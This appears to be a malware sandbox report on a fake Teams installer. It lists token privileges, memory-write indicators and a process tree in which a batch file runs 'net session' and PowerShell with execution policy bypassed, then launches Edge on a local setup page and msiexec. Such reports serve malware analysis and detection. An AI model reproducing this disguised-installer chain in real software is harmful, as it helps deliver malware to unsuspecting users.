Token: SeDebugPrivilege	5124	powershell.exe
Token: SeShutdownPrivilege	4244	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4244	msiexec.exe
Token: SeSecurityPrivilege	1144	msiexec.exe
Token: SeCreateTokenPrivilege	4244	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4244	msiexec.exe
Token: SeLockMemoryPrivilege	4244	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4244	msiexec.exe
Token: SeMachineAccountPrivilege	4244	msiexec.exe
Token: SeTcbPrivilege	4244	msiexec.exe
Token: SeSecurityPrivilege	4244	msiexec.exe
Token: SeTakeOwnershipPrivilege	4244	msiexec.exe
Token: SeLoadDriverPrivilege	4244	msiexec.exe
Token: SeSystemProfilePrivilege	4244	msiexec.exe
Token: SeSystemtimePrivilege	4244	msiexec.exe
Token: SeProfSingleProcessPrivilege	4244	msiexec.exe
Token: SeIncBasePriorityPrivilege	4244	msiexec.exe
Token: SeCreatePagefilePrivilege	4244	msiexec.exe
Token: SeCreatePermanentPrivilege	4244	msiexec.exe
Token: SeBackupPrivilege	4244	msiexec.exe
Token: SeRestorePrivilege	4244	msiexec.exe
Token: SeShutdownPrivilege	4244	msiexec.exe
Token: SeDebugPrivilege	4244	msiexec.exe
Token: SeAuditPrivilege	4244	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4244	msiexec.exe
Token: SeChangeNotifyPrivilege	4244	msiexec.exe
Token: SeRemoteShutdownPrivilege	4244	msiexec.exe
Token: SeUndockPrivilege	4244	msiexec.exe
Token: SeSyncAgentPrivilege	4244	msiexec.exe
Token: SeEnableDelegationPrivilege	4244	msiexec.exe
Token: SeManageVolumePrivilege	4244	msiexec.exe
Token: SeImpersonatePrivilege	4244	msiexec.exe
Token: SeCreateGlobalPrivilege	4244	msiexec.exe
Token: SeRestorePrivilege	1144	msiexec.exe
Token: SeTakeOwnershipPrivilege	1144	msiexec.exe
Token: SeRestorePrivilege	1144	msiexec.exe
Token: SeTakeOwnershipPrivilege	1144	msiexec.exe
Token: SeRestorePrivilege	1144	msiexec.exe
Token: SeTakeOwnershipPrivilege	1144	msiexec.exe
Token: SeRestorePrivilege	1144	msiexec.exe
Token: SeTakeOwnershipPrivilege	1144	msiexec.exe
Token: SeRestorePrivilege	1144	msiexec.exe
Token: SeTakeOwnershipPrivilege	1144	msiexec.exe
Token: SeShutdownPrivilege	5992	MsiExec.exe
Token: SeRestorePrivilege	1144	msiexec.exe
Token: SeTakeOwnershipPrivilege	1144	msiexec.exe
Token: SeRestorePrivilege	1144	msiexec.exe
Token: SeTakeOwnershipPrivilege	1144	msiexec.exe
Token: SeRestorePrivilege	1144	msiexec.exe
Token: SeTakeOwnershipPrivilege	1144	msiexec.exe
Token: SeRestorePrivilege	1144	msiexec.exe
Token: SeTakeOwnershipPrivilege	1144	msiexec.exe
Token: SeRestorePrivilege	1144	msiexec.exe
Token: SeTakeOwnershipPrivilege	1144	msiexec.exe
Token: SeRestorePrivilege	1144	msiexec.exe
Token: SeTakeOwnershipPrivilege	1144	msiexec.exe
Token: SeRestorePrivilege	1144	msiexec.exe
Token: SeTakeOwnershipPrivilege	1144	msiexec.exe
Token: SeRestorePrivilege	1144	msiexec.exe
Token: SeTakeOwnershipPrivilege	1144	msiexec.exe
Token: SeRestorePrivilege	1144	msiexec.exe
Token: SeTakeOwnershipPrivilege	1144	msiexec.exe
Token: SeRestorePrivilege	1144	msiexec.exe
Token: SeTakeOwnershipPrivilege	1144	msiexec.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4288	msedge.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4244	msiexec.exe
1144	msiexec.exe
3552	MsiExec.exe
5992	MsiExec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2372 wrote to memory of 4248	2372	cmd.exe	88
PID 4248 wrote to memory of 4652	4248	net.exe	89
PID 2372 wrote to memory of 5124	2372	cmd.exe	91
PID 2372 wrote to memory of 3152	2372	cmd.exe	93
PID 5124 wrote to memory of 4288	5124	powershell.exe	94
PID 4288 wrote to memory of 1996	4288	msedge.exe	95
PID 4288 wrote to memory of 5656	4288	msedge.exe	96
PID 4288 wrote to memory of 3924	4288	msedge.exe	97
PID 4288 wrote to memory of 3924	4288	msedge.exe	97
PID 4288 wrote to memory of 3924	4288	msedge.exe	97
PID 4288 wrote to memory of 5196	4288	msedge.exe	98
PID 4288 wrote to memory of 5196	4288	msedge.exe	98
PID 4288 wrote to memory of 4528	4288	msedge.exe	99
PID 4288 wrote to memory of 4528	4288	msedge.exe	99
PID 4288 wrote to memory of 4528	4288	msedge.exe	99
PID 4288 wrote to memory of 5776	4288	msedge.exe	100
PID 4288 wrote to memory of 5776	4288	msedge.exe	100
PID 4288 wrote to memory of 5776	4288	msedge.exe	100
PID 4288 wrote to memory of 4780	4288	msedge.exe	101
PID 4288 wrote to memory of 4380	4288	msedge.exe	102
PID 4288 wrote to memory of 4664	4288	msedge.exe	103
PID 4288 wrote to memory of 1128	4288	msedge.exe	104
PID 4288 wrote to memory of 1556	4288	msedge.exe	105
PID 4288 wrote to memory of 2796	4288	msedge.exe	106
PID 4288 wrote to memory of 4340	4288	msedge.exe	107
PID 4288 wrote to memory of 3424	4288	msedge.exe	108
PID 4288 wrote to memory of 2652	4288	msedge.exe	109
PID 4288 wrote to memory of 2284	4288	msedge.exe	110
PID 4288 wrote to memory of 2608	4288	msedge.exe	111
PID 4288 wrote to memory of 1076	4288	msedge.exe	112
PID 4288 wrote to memory of 1128	4288	msedge.exe	104
PID 4288 wrote to memory of 1128	4288	msedge.exe	104
PID 4288 wrote to memory of 2812	4288	msedge.exe	113
PID 4288 wrote to memory of 1556	4288	msedge.exe	105
PID 4288 wrote to memory of 1556	4288	msedge.exe	105
PID 4288 wrote to memory of 2796	4288	msedge.exe	106
PID 4288 wrote to memory of 2796	4288	msedge.exe	106
PID 4288 wrote to memory of 4340	4288	msedge.exe	107
PID 4288 wrote to memory of 4340	4288	msedge.exe	107
PID 4288 wrote to memory of 3424	4288	msedge.exe	108
PID 4288 wrote to memory of 3424	4288	msedge.exe	108
PID 4288 wrote to memory of 2652	4288	msedge.exe	109
PID 4288 wrote to memory of 2652	4288	msedge.exe	109
PID 4288 wrote to memory of 2284	4288	msedge.exe	110
PID 4288 wrote to memory of 2284	4288	msedge.exe	110
PID 4288 wrote to memory of 2608	4288	msedge.exe	111
PID 4288 wrote to memory of 2608	4288	msedge.exe	111
PID 4288 wrote to memory of 1076	4288	msedge.exe	112
PID 4288 wrote to memory of 1076	4288	msedge.exe	112
PID 4288 wrote to memory of 2812	4288	msedge.exe	113
PID 4288 wrote to memory of 2812	4288	msedge.exe	113
PID 4288 wrote to memory of 5396	4288	msedge.exe	114
PID 4288 wrote to memory of 5396	4288	msedge.exe	114
PID 5124 wrote to memory of 4000	5124	powershell.exe	115
PID 2372 wrote to memory of 4244	2372	cmd.exe	116
PID 4288 wrote to memory of 2856	4288	msedge.exe	127
PID 4288 wrote to memory of 2856	4288	msedge.exe	127
PID 4000 wrote to memory of 4972	4000	csc.exe	119
PID 4288 wrote to memory of 4152	4288	msedge.exe	120
PID 4288 wrote to memory of 4152	4288	msedge.exe	120
PID 4288 wrote to memory of 3408	4288	msedge.exe	121
PID 4288 wrote to memory of 3408	4288	msedge.exe	121
PID 1144 wrote to memory of 3552	1144	msiexec.exe	122
PID 3552 wrote to memory of 3048	3552	MsiExec.exe	136

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	4	curl/8.8.0

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Teams_Setup_version26106.1911.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2372
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4248
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\launch_ui.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5124
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --app="C:\Users\Admin\AppData\Local\Temp\TeamsSetup.html" --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile"
    3⤵
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4288
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x264,0x268,0x26c,0x260,0x2cc,0x7ffc5cf0c188,0x7ffc5cf0c194,0x7ffc5cf0c1a0
      4⤵
      PID:1996
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1640,i,16157348934109042290,7880515633535139275,524288 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:11
      4⤵
      System Time Discovery
      PID:5656
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1532,i,10795267030117698086,14990028547115728970,262144 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=2216 /prefetch:2
      4⤵
      PID:3924
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2556,i,9931440014043948706,8819773421990637030,524288 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=2568 /prefetch:13
      4⤵
      PID:5196
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3536,i,17390866190539633170,6756135359435001779,2097152 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:1
      4⤵
      PID:4528
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3540,i,15145364710076675803,7131319155230490998,2097152 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=3564 /prefetch:1
      4⤵
      PID:5776
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4220,i,18398130326422524076,3184433737065046007,524288 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=4868 /prefetch:14
      4⤵
      PID:4780
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4228,i,12961700338022582765,5303194936697416510,524288 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5000 /prefetch:14
      4⤵
      PID:4380
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4232,i,13727658015428897561,12555083683751360751,524288 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5032 /prefetch:14
      4⤵
      PID:4664
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=4288,i,15128763465618091279,12985149067921163617,2097152 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5088 /prefetch:1
      4⤵
      PID:1128
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=4316,i,3746620105501816506,995205068279839143,2097152 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5096 /prefetch:1
      4⤵
      PID:1556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=4300,i,15362212148423703206,5382791957239574667,2097152 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5092 /prefetch:9
      4⤵
      PID:2796
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=4348,i,9703565543733342288,16512250764826012267,2097152 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5200 /prefetch:9
      4⤵
      PID:4340
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=4364,i,4225396756792306815,17738090335731060247,2097152 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5204 /prefetch:1
      4⤵
      PID:3424
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=4376,i,2573430248853953353,12781338689493489539,2097152 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:9
      4⤵
      PID:2652
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=4392,i,16778842853703331895,1076470501045758639,2097152 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5308 /prefetch:1
      4⤵
      PID:2284
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=4420,i,13253601395287643126,964013120419772095,2097152 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5316 /prefetch:1
      4⤵
      PID:2608
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=4404,i,5383264077242519928,15434546424704248945,2097152 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5312 /prefetch:9
      4⤵
      PID:1076
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=4432,i,2518231170488535022,6531710651167275434,2097152 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5416 /prefetch:9
      4⤵
      PID:2812
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5436,i,1995907619381251054,188514152855090509,524288 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5448 /prefetch:14
      4⤵
      PID:5396
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5324,i,2702097576065753280,6232142964441258655,524288 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5328 /prefetch:14
      4⤵
      PID:2856
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5820,i,5135879931957497123,9761540039747413567,524288 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5612 /prefetch:14
      4⤵
      PID:4152
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5176,i,9870112017201447613,13900889567253754324,524288 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5576 /prefetch:14
      4⤵
      PID:3408
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6012,i,3882365884959856502,15967715462897029047,524288 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5812 /prefetch:14
      4⤵
      PID:4300
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6012,i,3882365884959856502,15967715462897029047,524288 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5812 /prefetch:14
      4⤵
      PID:5556
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6424,i,12146200614714931151,7180316886164139439,524288 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:14
      4⤵
      PID:5172
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
      4⤵
      Drops file in Program Files directory
      Drops file in Windows directory
      PID:2856
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x244,0x7ff6bd7a04c8,0x7ff6bd7a04d4,0x7ff6bd7a04e0
        5⤵
        Drops file in Windows directory
        
        PID:4576
    - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --msedge --system-level --verbose-logging --installerdata="C:\Program Files (x86)\Microsoft\Edge\Application\master_preferences" --create-shortcuts=1 --install-level=0
        5⤵
        Drops file in Program Files directory
        Drops file in Windows directory
        
        PID:1624
      - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\SystemTemp\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\Installer\setup.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x240,0x244,0x248,0x1e4,0x24c,0x7ff6bd7a04c8,0x7ff6bd7a04d4,0x7ff6bd7a04e0
        6⤵
        Drops file in Windows directory
        
        PID:3152
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6640,i,6783741748020035469,11037943051208633960,524288 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=5088 /prefetch:14
      4⤵
      PID:3044
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\EdgeTempProfile" --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7884,i,13864276241654453668,155554685599790212,524288 --field-trial-handle=2220,i,3944690136124988109,17209986392574860086,262144 --variations-seed-version --mojo-platform-channel-handle=7824 /prefetch:14
      4⤵
      PID:5128
